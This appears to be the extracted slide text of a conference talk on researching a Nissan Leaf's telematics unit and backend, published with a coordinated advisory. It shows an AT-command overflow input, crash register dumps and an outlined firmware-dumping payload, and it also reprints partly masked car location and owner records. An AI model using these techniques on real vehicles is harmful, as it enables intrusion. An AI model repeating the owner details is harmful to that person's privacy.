Driving down the rabbit hole

Jesse Michael    Mickey Shkatov
Oleksandr Bazhaniuk
Agenda

● Who are we
● Background
● Picking our battles
● The web vuln
● Intermission
● Telematics
  ○ What is it
  ○ Local vulnerabilities discovered
  ○ Writing a blind exploit
  ○ Remote vulnerability
● Conclusion
● Questions

“Come with me and I’ll show you the New Wonderland – ”
Who Are We?

Jesse
@jessemichael

Mickey
@HackingThings

Alex
@ABazhaniuk

Background
Background

- Last year was awesome
After we were done with our previous hackary, we wanted to try something new.

We want to deepen our knowledge and experience with automotive security.
After we were done with our previous hackary, we wanted to try something new.

- We want to deepen our knowledge and experience with automotive security.
- Actual car hacking experience is at 0%.
Autonomous vehicles
- Tesla Autopilot
- Comma.io
- Google self driving car
- UBER

Connected cars
- Autonomous
- V2X
- V2V

Drive by wire systems

how does it all work?
If I have seen further than others, it is by standing upon the shoulders of giants.

- Charlie Miller and Chris Valasek
- Troy Hunt and Scott Helme - Nissan web API hack
- Marc Rogers et al. (Tesla hack 2015)
- Keen Labs Tesla hack
- And more...
Background

- Budget?
- Where do we start?
Background

- Budget?
- Where do we start?
- We already pwned an after market IVI, what is next?

*IVI = In-Vehicle Infotainment System*
Budget?

Where do we start?

We already pwned an after market IVI, what is next?

*IVI = In-Vehicle Infotainment System

Ok, Let's go the wrecking yard and look around
Funny story about the wrecking yard.
Funny story about the wrecking yard.
  ○ A junk yard != wrecking yard.
  ○ Looking for a late model OEM IVI.
  ○ “What do you have?”
    ■ An F150 that got into a brawl with a wall and lost
    ■ a few more squashed cars that are too short
    ■ one almost perfect car

So we ended up selecting a car by happenstance, totally random.
Nice car!
Can you spot what caused it to be “Totaled”?
Background

- GIMME THAT DASHBOARD!
Background

- 1 week later
- carception
Background

- A trip to Lowe’s and a few hours later
Background

- Once it is fully assembled it kinda works
- A “few” errors appear on the instrument panels.
- We need to get this thing on the table somewhat functional
- NissanConnect℠ EV
NissanConnect℠ EV (formerly known as CARWINGS®) is designed to help you manage your Nissan LEAF® and control a host of convenient features. The best part: you don’t have to be in or even near your car to do it. It all works through your smartphone or computer. [*]

NissanConnect EV is complimentary for three years. You just need to download the companion app to run all the features listed below.

WITH THE NISSANCONNECT℠ EV APP, YOU CAN:

- Find a nearby charging station
- Check on the state of your battery charge
- Remotely start a charging session
- Get notified when your battery is fully charged
- See your estimated driving range
- Heat up or cool down your LEAF® to the comfortable temperature it was when you left it
- Set a reminder to plug in your car

Source: [https://www.nissanusa.com/connect/features-app/system-requirements/nissan-connect-ev](https://www.nissanusa.com/connect/features-app/system-requirements/nissan-connect-ev)
Next step, switch owners in the backend
Background

- Next step, switch owners in the backend
- Nissan requires proof of ownership
Next step, switch owners in the backend
Nissan requires proof of ownership
Go ask nicely for the title from wrecking yard, ahh..... No.
Wrecking guy reaction:
Next step, switch owners in the backend
Nissan requires proof of ownership
Go ask nicely for the title from wrecking yard, ahh..... No.
Wrecking guy reaction:

I don't give a shit
Next step, switch owners in the backend
Nissan requires proof of ownership
Go ask nicely for the title from wrecking yard, ahh..... No.
Wrecking guy reaction:

Junk title can’t be moved.
Next step, switch owners in the backend
Nissan requires proof of ownership
Go ask nicely for the title from wrecking yard, ahh….. No.
Wrecking guy reaction:

Junk title can’t be moved.
Bill of sale, wrecking yard receipt?
Next step, switch owners in the backend
Nissan requires proof of ownership
Go ask nicely for the title from wrecking yard, ahh….. No.
Wrecking guy reaction:

Junk title can’t be moved.
Bill of sale, wrecking yard receipt?
  • Ask Nissan nicely and you shall receive
Picking our battles
Picking our battles

- We already pwned one in the past, seems like the best place to start.
- Looking at the IVI attack surface:
Picking our battles

- The IVI is running Windows Automotive 7, no source, requires license.
Picking our battles

- The IVI is running Windows Automotive 7, no source, requires license.
- That’s too boring!, we want to hack this but...
Picking our battles

- The IVI is running Windows Automotive 7, no source, requires license.
- That’s too boring!, we want to hack this but...
Picking our battles

- The IVI is running Windows Automotive 7, no source, requires license.
- That’s too boring!, we want to hack this but...
- Maybe there is something else to hack, let's keep looking
Picking our battles

- Getting any kind of info from the IVI
Picking our battles

- Getting any kind of info from the IVI
- Getting any kind of info from the IVI

- Navigation system debug data
- contacts
- way points
- SRAM dump
- Flash dumps
After running strings on the debug files we discovered this url:

“http://biz.nissan-gev.com/WARCondelivbas/it-m_gw10/”

- Let’s do a WHOIS
- No one owns it, let’s buy it for the lulz!
- Setting up an EC2 instance and running a generic honey pot
- Let's see who comes knocking
The Web vulnerability
- First knock comes from Japan

Whois IP Live Results for 150.63.64.10 -

- IP Address: 150.63.64.10
- IP Location: Japan
- IP Reverse DNS (Host): 150.63.64.10
- IP Owner: Nissan Motor Co. Ltd
- Owner IP Range: 150.63.0.0 - 150.63.255.255 (92636 IPs)
- Owner Country: Japan
- Owner Website: www.odn.ne.jp
- Owner CIDR: 150.63.0.0/16
- Whois Record Created: 17 Jun 1991
- Whois Record Updated: 19 Nov 2013

Web Browser/s on this IP:
- Firefox 11
- Firefox 15
- Firefox 27
- Firefox 32
- Google Chrome 25
- Google Chrome 27
- Google Chrome 31
- Google Chrome 33
- Google Chrome 37
- ... [see all]

OS on this IP:
- Windows 7.64 Edition
- Windows 8.64 Edition
- Windows XP

Browser Agent/s on this IP:
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
- Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS-RTC LM 8; .NET...
The Web YuiN

- The Web vulnerability
- First knock comes from Japan
The Web vulnerability

- First knock comes from Japan
- But then we start getting more knocks on the door and these are not your usual automated tools.

```
POST /WARCondelivbas/it-m_gw10/ HTTP/1.1
Host: biz.nissan-gev.com
Connection: Keep-Alive
User-Agent: NISSAN CARWINGS
Content-Type: application/x-carwings-nz
Content-Length: 614

^@^@^Cä^@^@^BZx<9ØK<81>:6%?-c^dd^TQ<82><j4A_<87>-æL0^Rí^-Pí(<81)
×äsd×øÓřêÇtHÚId^HZrwggg×l<92>^\$É»
^?)cÜlx^X<83>Éæó|¶<9c><Ö:81>óïíÝ/ÜOðâ<9c>¼?=<87><23>ðÒ:Ö/98<82>ÂA<89>4eS)³)
ëÝÎOQN<8349>-óÀß7F^°Vô4ôüï´Tv<8b>^Pζ<9a><9a>M2<87>è<WfM<8c>è^UW^U ßĐ|ÄK]Pi-%UYG^?
Æ²:gl<89>Rj,ÍOò%cxς¶LÓ<93><80>°X.èÜé^G<8f>B÷ng,µßZ^N^±xcfAW
«ÖQ£²δ|A<80>ødĐ^B^GJjÍ^V<94>±E$PDûíEp§Uq@^?<81>^Bl_jâÚjîÖ<96>^H<86><90>ÇA^xNWPç<9b>
<96>^Rë`^B«`¶
```
The Web vulnerability
- First knock comes from Japan
- But then we start getting more knocks on the door and these are not your usual automated tools.
The Web YUIN

- The Web vulnerability
  - First knock comes from Japan
  - But then we start getting more knocks on the door and these are not your usual automated tools.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<carwings version="2.2">
    <aut_inf navi_id="1054********" tel="err" dcm_id="2012********"
    dcm_tel="380********" sim_id="89380*************" vin="1N4A*************"
    user_id="********" password="********"></aut_inf>
    <bs_inf><sftwr_ver navi="041-102-10111000000003010100" map="006"
    dcm="3NF0000642"></sftwr_ver>
    <vcl spd="0" drc="138.5" sts="stop" rss="5" crr="life:)">
    <crd datum="wgs84" lat="40,00,**.**" lon="-75,01,**.**"></crd></vcl>
    <navi_set t_zone="-8.00" lang="use" dst_d="km" tmp_d="C" e_mlg_d="km/kwh"
    spd_d="km/h"></navi_set></bs_inf>
    <srv_inf><app name="AP"><send_data id_type="file"
    id="APUP001.001"></send_data></app></srv_inf>
</carwings>
The web yuin

- The Web vulnerability
  - First knock comes from Japan
- But then we start getting more knocks on the door and these are not your usual automated tools.
- We got cars connecting to our server?!?
The Web yuIN

- The Web vulnerability
  - First knock comes from Japan
  - but then we start getting more knocks on the door and these are not your usual automated tools.

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<carwings version="2.2">
  <aut_inf navi_id="1054********" tel="err" dcm_id="2012********"
    dcm_tel="380***********" sim_id="89380***********" vin="1N4A***********"
    user_id="********" password="********"></aut_inf>
  <bs_inf><sftwr_ver navi="041-102-10111000000003010100" map="006"
    dcm="3NF0000642"></sftwr_ver>
    <vcl spd="0" drc="138.5" sts="stop" rss="5" crr="life:())">
      <crd datum="wgs84" lat="40,00,**.**" lon="-75,01,**.**"></crd></vcl>
    <navi_set t_zone="-8.00" lang="use" dst_d="km" tmp_d="C" e_mlg_d="km/kwh"
      spd_d="km/h"></navi_set></bs_inf>
  <srv_inf><app name="AP"><send_data id_type="file"
    id="APUP001.001"></send_data></app></srv_inf>
</carwings>
```
The cars sent us plenty of data, including location, let's look at one of them a bit closer.
The web yuin

The cars sent us plenty of data, including location, let's look at one of them a bit closer.
The cars sent us plenty of data, including location, let's look at one of them a bit closer.
Who owns this car? we have the VIN, let's google...

Sample shipment record for
Ярославович П -Т Ет Від 19.02.2011Р.
Коломийським Рв Умвс

<table>
<thead>
<tr>
<th>Recipient</th>
<th>Sender</th>
<th>HS CODE</th>
<th>Arrival Date</th>
<th>Weight</th>
<th>Price</th>
<th>Declaration No.</th>
<th>Currency Ratio</th>
<th>Currency Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ЯРОСЛАВОВИЧ П . Т ЕТ ВІД 19.02.2011Р. КОЛОМІЙСЬКИМ РВ УМВС</td>
<td>NOT AVAILABLE</td>
<td></td>
<td>2016-03-25</td>
<td>1493.00</td>
<td>26777.20</td>
<td></td>
<td>26.25</td>
<td>840</td>
</tr>
</tbody>
</table>

Cargo Description
1 МОТОРНИЙ ТРАНСПОРТНИЙ ЗАСІБ ДЛЯ ПЕРЕВЕЗЕННЯ ПАСАЖИРІВ ПО ДОРОГАХ ЗАГАЛЬНОГО КОРІСТУВАННЯ: ЛЕГКОВИЙ АВТОМОБІЛЬ МАРКИ NISSAN МОДЕЛІ LEAF, НОМЕР КУЗОВА ТИП ДВИГУНА Е
Who owns this car? we have the VIN, let's google...

Sample shipment record for [redacted] Y. P - T
Et [redacted] Vid 19.02.2011R. Kolomiysky District Police

Y. P - T Et [redacted] Vid 19.02.2011R. District Police Kolomiysky imports from Not Available

<table>
<thead>
<tr>
<th>Receiver</th>
<th>Sender</th>
</tr>
</thead>
<tbody>
<tr>
<td>Y. P - T ET VID 19.02.2011R. KOLOMIYSKY DISTRICT POLICE</td>
<td>NOT AVAILABLE</td>
</tr>
<tr>
<td>Pechenizyn S., Str. Carpathian,</td>
<td></td>
</tr>
</tbody>
</table>

**Cargo Description**

VEHICLE 1. MOTORNYY FOR PASSENGER TRANSPORT ON PUBLIC ROADS. PASSENGER CARS MODEL NISSAN LEAF. BODY ISSUE [redacted], TYPE MOTOR ED "

<table>
<thead>
<tr>
<th>HS CODE</th>
<th>ARRIVAL DATE</th>
<th>WEIGHT</th>
<th>PRICE</th>
<th>CURRENCY RATIO</th>
<th>CURRENCY NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>[redacted]</td>
<td>03/25/2016</td>
<td>1493.00</td>
<td>26777.20</td>
<td>26.25</td>
<td>840</td>
</tr>
</tbody>
</table>
**Who owns this car? What can CARFAX tell us?**

<table>
<thead>
<tr>
<th>Date</th>
<th>Location</th>
<th>Event Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>10/8/15</td>
<td>Washington Motor Vehicle Dept.</td>
<td>Title issued or updated&lt;br&gt;First owner reported&lt;br&gt;Titled or registered as personal lease vehicle</td>
</tr>
<tr>
<td>10/20/15</td>
<td>Washington Damage Report</td>
<td>Accident reported&lt;br&gt;Vehicle involved in a rear-end collision&lt;br&gt;Damage to front&lt;br&gt;Vehicle towed&lt;br&gt;Airbags did not deploy</td>
</tr>
<tr>
<td>10/20/15</td>
<td>Damage Report Washington</td>
<td><strong>TOTAL LOSS VEHICLE</strong>&lt;br&gt;Vehicle declared a total loss by an insurance company&lt;br&gt;Collision damage reported</td>
</tr>
<tr>
<td></td>
<td>748 mi.</td>
<td></td>
</tr>
<tr>
<td>Date</td>
<td>Location</td>
<td>Event Description</td>
</tr>
<tr>
<td>------------</td>
<td>------------------------------</td>
<td>-----------------------------------</td>
</tr>
<tr>
<td>12/16/15</td>
<td>Washington Motor Vehicle Dept.</td>
<td>Vehicle purchase reported</td>
</tr>
<tr>
<td>1/26/16</td>
<td>Bellevue, WA</td>
<td>TOTAL LOSS VEHICLE</td>
</tr>
<tr>
<td></td>
<td>Washington Motor Vehicle Dept.</td>
<td>New owner reported</td>
</tr>
<tr>
<td></td>
<td></td>
<td>REBUILT TITLE ISSUED</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Titled or registered as lease</td>
</tr>
<tr>
<td></td>
<td></td>
<td>vehicle</td>
</tr>
<tr>
<td>2/9/16</td>
<td>Vehicle Exporter</td>
<td>Vehicle exported from Newark, NJ</td>
</tr>
<tr>
<td></td>
<td></td>
<td>and imported to Gdansk, Poland</td>
</tr>
</tbody>
</table>
Who owns this car? What can CARFAX tell us?
The web yuin

Why is this happening?

- Owner replacing the SIM card in their car.
- The Jasper network.
● Continental made Telematics Control Unit (TCU)
● Used as the conduit for the car to connect to the backend.
● Older model, buy it on eBay for cheap.
● Uses a cellular 2G modem
● Uses a cellular 2G modem
● Yes
Telematics

- Uses a cellular 2G modem
- Yes
- 2G
Connected to the rest of the car like this
Gathering Intel from the board
- Exploring the TCU - TOP
Gathering Intel from the board
- Exploring the TCU - Bottom
Exploring the TCU

Telematics

Small connector (USB)
Big connector (CAN)
Freescale chip CAN
2G Cellular complex USB
Footprint
ANT
Gathering Intel from the board

- Freescale chip debug header, let's get firmware
Gathering Intel from the board

- Its USB right? let's mitm it!
Gathering Intel from the board

- Its USB right? let's mitm it!
Gathering Intel from the board

- It's USB right? Let's MITM it!
- This looks familiar...

![Telematics USB sniffing data](image.png)
Gathering Intel from the board

- Its USB right? let's mitm it!
- This looks familiar...
Gathering Intel from the board

- Its USB right? let's mitm it!
- This looks familiar...
- Oh, look at that!
- I know this chip! Do you?
Here are a few hints
Infineon PMB 8876
Functional diagram
Gathering Intel from the board

- It’s a USB system. We know this…
- Lets connect to it and explore

```
rroot@atr-lt01:~/leaf# ./leaf.py
AT
OK

AT+CGMI
+CGMI: Continental Automotive Systems
OK

AT+CGMM
+CGMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=SGOLD2 NAD"
OK

AT+CGMR
+CGMR: "06.42R_51R_V26"
OK

AT+CIMI
310650701614947
OK
```
Telematics vulnerabilities

- Ok, now that we have gathered our senses together, let's check for known vulnerabilities...

```python
AT+CIMI
310650701614947
OK

AT+XLOG
+XGENDATA: "cas2.21.41.23:NOVANTO_NAD_51R dows_NT"
OK

AT+XAPP="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```

Traceback (most recent call last):
  File "./leaf.py", line 32, in <module>
    dev.write(2, "%s\r" % command)
  File "/usr/lib/python2.7/dist-packages/usb/core.py", line 948, in write
    self.__get_timeout(timeout)
  File "/usr/lib/python2.7/dist-packages/usb/backend/libusb1.py", line 824, in bulk_write
    timeout)
  File "/usr/lib/python2.7/dist-packages/usb/backend/libusb1.py", line 920, in __write
    _check(retval)
  File "/usr/lib/python2.7/dist-packages/usb/backend/libusb1.py", line 595, in _check
    raise USBError(_strerror(ret), ret, _libusb_errno[ret])
usb.core.USBError: [Errno 5] Input/Output Error
```

root@atr-lt01:~/leaf#
Telematics vulnerabilities

- Ok, now that we have gathered our senses together, let's check for known vulnerabilities...

```
AT+XLOG
+XGENDATA: "cas2_21.41.23:NOVANTO_NAD_51R dows_NT"

+XLOG: Exception Number: 1
Trap Class: 0xEEEE (SW EXCEPTION)
Identification: 182 (0x00B6)
Date: 01.01.2004
Time: 00:00
File: @
Line: 0
Logdata:
07 CE 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Telematics vulnerabilities

- Ok, now that we have gathered our senses together, let's check for known vulnerabilities...

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

+XLOG: Exception Number: 2
Trap Class: 0xBBBA (HW PREFETCH ABORT TRAP)
System Stack:

```
0x41414141
0x41414141
0x41414141
0x41414141
0x00414141
0x00000001
0xA024111C
0x00000001
0xB013FDB8
0xB026FF14
0xB00325FC
0x00000001
0x00000001
0xA013216D
0x00000001
0xB00546EC
0xB026FF14
0xA010B1AD
0xB026F164
```
Telematics vulnerabilities

- Ok, now that we have gathered our senses together, let's check for known vulnerabilities...
Telematics vulnerabilities

- Ok, now that we have gathered our senses together, let's check for known vulnerabilities...
Telematics vulnerabilities

- Ok, now that we have gathered our senses together, let's check for known vulnerabilities.
- confirmed local vector
  - AT+STKPROF
  - AT+XAPP
  - AT+XLOG
  - AT+FNS
Telematics vulnerabilities

- After confirming the local vulns, let’s check for remote ones…
- oh wait!
- Thanks to the amazing Dr. Ralf-Philipp Weinmann we know this baseband FW is vulnerable to an Over-The-Air TMSI buffer overflow.
Telematics vulnerabilities

- Confirming the TMSI vulnerability
  - The good book has PoC code in it, yay!
  - OpenBTS has moved on from testcall functionality ("security" reasons)
  - this will take a while, better get a faraday cage
Telematics vulnerabilities

- Confirming the TMSI vulnerability using BladeRF
Telematics vulnerabilities

- Confirming the TMSI vulnerability
- After many many days of attempts and trying to get OpenBTS to work, Jesse confirms remote buffer overflow!
  - Thank you Jared Boone!
Telematics vulnerabilities

- Exploiting
  - We don’t have a copy of the firmware, how do we fix this?
  - Getting the firmware out of the device requires semi-blind exploitation
  - It’s not quite that bad, we have some basic exception logging that includes:
    - Register state at time of crash
    - 178 dwords of stack values upwards from SP at time of crash
  - We can work with that
Telematics vulnerabilities

- Exploiting
  - No ASLR

---

Date: 04.01.2004
Time: 13:52
Register:

<table>
<thead>
<tr>
<th>r0</th>
<th>r1</th>
<th>r2</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>0x00000000</td>
<td>0xFFFFF231C</td>
</tr>
<tr>
<td>r3</td>
<td>r4</td>
<td>r5</td>
</tr>
<tr>
<td>0x0B02573C9</td>
<td>0x42424242</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r6</td>
<td>r7</td>
<td>r8</td>
</tr>
<tr>
<td>0x44444444</td>
<td>0x45454545</td>
<td>0x00000000</td>
</tr>
<tr>
<td>r9</td>
<td>r10</td>
<td>r11</td>
</tr>
<tr>
<td>0x00000002</td>
<td>0xB00C6DC8</td>
<td>0xB00D0C5C</td>
</tr>
<tr>
<td>r12</td>
<td>r13</td>
<td>r14</td>
</tr>
<tr>
<td>0xA0235CCD</td>
<td>0xB00CCCE4</td>
<td>0xA0244175</td>
</tr>
<tr>
<td>r15</td>
<td>SPSR</td>
<td>DFSR</td>
</tr>
<tr>
<td>0x5A5A5A5A5C</td>
<td>0x40000013</td>
<td>0x00000000</td>
</tr>
<tr>
<td>DFAR</td>
<td>DFSR</td>
<td></td>
</tr>
<tr>
<td>0x00000148</td>
<td>0x00000005</td>
<td></td>
</tr>
</tbody>
</table>

Date: 04.01.2004
Time: 13:54
Register:

<table>
<thead>
<tr>
<th>r0</th>
<th>r1</th>
<th>r2</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>0x00000000</td>
<td>0xFFFFF231C</td>
</tr>
<tr>
<td>r3</td>
<td>r4</td>
<td>r5</td>
</tr>
<tr>
<td>0x0B02573C9</td>
<td>0x42424242</td>
<td>0x43434343</td>
</tr>
<tr>
<td>r6</td>
<td>r7</td>
<td>r8</td>
</tr>
<tr>
<td>0x44444444</td>
<td>0x45454545</td>
<td>0x00000000</td>
</tr>
<tr>
<td>r9</td>
<td>r10</td>
<td>r11</td>
</tr>
<tr>
<td>0x00000002</td>
<td>0xB00C6DC8</td>
<td>0xB00D0C5C</td>
</tr>
<tr>
<td>r12</td>
<td>r13</td>
<td>r14</td>
</tr>
<tr>
<td>0xA0235CCD</td>
<td>0xB00CCCE4</td>
<td>0xA0244175</td>
</tr>
<tr>
<td>r15</td>
<td>SPSR</td>
<td>DFSR</td>
</tr>
<tr>
<td>0x5A5A5A5A5C</td>
<td>0x40000013</td>
<td>0x00000000</td>
</tr>
<tr>
<td>DFAR</td>
<td>DFSR</td>
<td></td>
</tr>
<tr>
<td>0x00000148</td>
<td>0x00000005</td>
<td></td>
</tr>
</tbody>
</table>
Telematics vulnerabilities

- Exploiting
  - No ASLR
  - No DEP

```
+XLOG: Exception Number: 2
Trap Class: 0xBBBB (HW PREFETCH ABORT TRAP)
System Stack:
0x47204720
0x47204720
0x47204720
0x47204720
0x47204720
0x47204720
0x47204720
0x47204720
```

Date: 04.01.2004
Time: 14:23
Register:
- r0: 0x00000000
- r1: 0x00000000
- r2: 0xFFFFF231C
- r3: 0xB02573C9
- r4: 0x42424242
- r5: 0x43434343
- r6: 0xB00CCE4
- r7: 0x45454545
- r8: 0x00000000
- r9: 0x0000FFFF
- r10: 0xB00C6DC8
- r11: 0xB00D0C5C
- r12: 0xA0235CCD
- r13: 0xB00CCE4
- r14: 0xA0244175
- r15: 0x42424244

SPSR: 0x400000013
DFAR: 0x42424242
DFSR: 0x00000005
Telematics vulnerabilities

- Exploiting
  - No ASLR
  - No DEP
  - No memory isolation
Telematics vulnerabilities

- Exploiting
  - No ASLR
  - No DEP
  - No memory isolation
Telematics vulnerabilities

- Exploiting
  - No ASLR
  - No DEP
  - No memory isolation

A HIGH FIVE DOESN’T EVEN CUT IT.

HIGH SIX!
Telematics vulnerabilities
● Exploiting
  ○ We’ll just use AT command buffer overflow to inject payload to:
Telematics vulnerabilities

- Exploiting
  - We’ll just use AT command buffer overflow to inject payload to:
    - Write tag to signify start of data block
Telematics vulnerabilities

- Exploiting
  - We’ll just use AT command buffer overflow to inject payload to:
    - Write tag to signify start of data block
    - Copy 512 bytes from arbitrary location into stack frame
Telematics vulnerabilities

- Exploiting
  - We’ll just use AT command buffer overflow to inject payload to:
    - Write tag to signify start of data block
    - Copy 512 bytes from arbitrary location into stack frame
    - Write tag to signify completed copy of data block
Telematics vulnerabilities

- Exploiting
  - We’ll just use AT command buffer overflow to inject payload to:
    - Write tag to signify start of data block
    - Copy 512 bytes from arbitrary location into stack frame
    - Write tag to signify completed copy of data block
    - Jump to hardcoded invalid location to force a crash at specific location
Telematics vulnerabilities

- Exploiting

  - Wait for device to reboot
Telematics vulnerabilities

- Exploiting

  - Wait for device to reboot
  - Read exception log using AT+XLOG and extract data from between tags in stack dump
Telematics vulnerabilities

- Exploiting

```
0xF4400028
0xF4400078
0x46C0467C
0xDEADBEEF
0x46C046C0
0x46C046C0
0x46C046C0
...
0x46C046C0
0x46C046C0
0x46C046C0

Date: 04.01.2004
Time: 15:38
Register:
r0: 0x00000000  r1: 0xA0000211  r2: 0xFFFFFFFF
r3: 0x0000007C  r4: 0xB00CCF2C  r5: 0xFF134343
r6: 0xF2547698  r7: 0x000000DE  r8: 0x00000000
r9: 0x0000FFFF  r10: 0xB00C6DC8  r11: 0xB00D0C5C
r12: 0xA0235CCD  r13: 0xB00CCCE4  r14: 0xA0244175
r15: 0xF254769C
SPSR: 0x80000013  DFAR: 0x42424242  DFSR: 0x00000008
```
Telematics vulnerabilities

- Exploiting

... and then do it again 13 thousand times ...
**Telematics**

Telematics vulnerabilities

- Once firmware is accessible we can work on reversing and jumping from the baseband to the CAN bus
Telematics vulnerabilities

[Diagram showing assembly code snippets]

; START OF FUNCTION CHUNK FOR Ips__handle_different_messages

loc_A03E7374
LDRB    R2, [R1,#2]
CHP     R2, #3
BEQ     IpsSrvImmobilizer_imm_msg_received

; END OF FUNCTION CHUNK FOR Ips__handle_different_messages
Conclusion
Advisory

- https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01

CVSS v3 8.8

ATTENTION:
Remotely exploitable/low skill level to exploit.
Public exploits are available.

Vendor: Continental AG

Equipment: Infineon S-Gold 2 (PMB 8876)

Vulnerabilities:

Stack-Based Buffer Overflow, Improper Restriction of Operations within the Bounds of a Memory Buffer
Advisory

- https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01

AFFECTED PRODUCTS

All telematics control modules (TCUs) built by Continental AG that contain the S-Gold 2 (PMB 8876) cellular baseband chipset are affected. The S-Gold 2 (PMB 8876) is found in the following vehicles:

BMW several models produced between 2009-2010

Ford - program to update 2G modems has been active since 2016 and impact is restricted to the limited number of P-HEV vehicles equipped with this older technology that remain in service.


Nissan 2011-2015 Leaf
**Conclusion**

- **External Researchers** find exploitable vulnerabilities in baseband firmware.

- **iPhone (PMB8876)**
  - iPhone 3G (PMB8878)
  - iPhone 4 (XMM6180)

- **Nissan Leaf (PMB8876)**
  - Infiniti Q50 and others (PMB8876)

- **Continental**

- **Infineon**

- **Intel**

- **Questions**
Conclusion

External Researchers find exploitable vulnerabilities in baseband firmware
Things that are good to know

- Not an 0-Day but more like a 2441-Day.
- Different market segments:
  - Have different levels of security maturity
  - Can have very different product lifecycles
  - Share components
- Need to be aware of security issues found elsewhere
Conclusion

- For helping co-ordinating this, we would like to thank:
  - Nissan NA
  - ICS-CERT - specifically Jason Barkley
  - Auto-ISAC
  - Intel PSIRT

- Advisory
  - [https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01](https://ics-cert.us-cert.gov/advisories/ICSA-17-208-01)

- Tools
  - Latest slides will be posted at [https://github.com/HackingThings/Publications](https://github.com/HackingThings/Publications)
Thank you!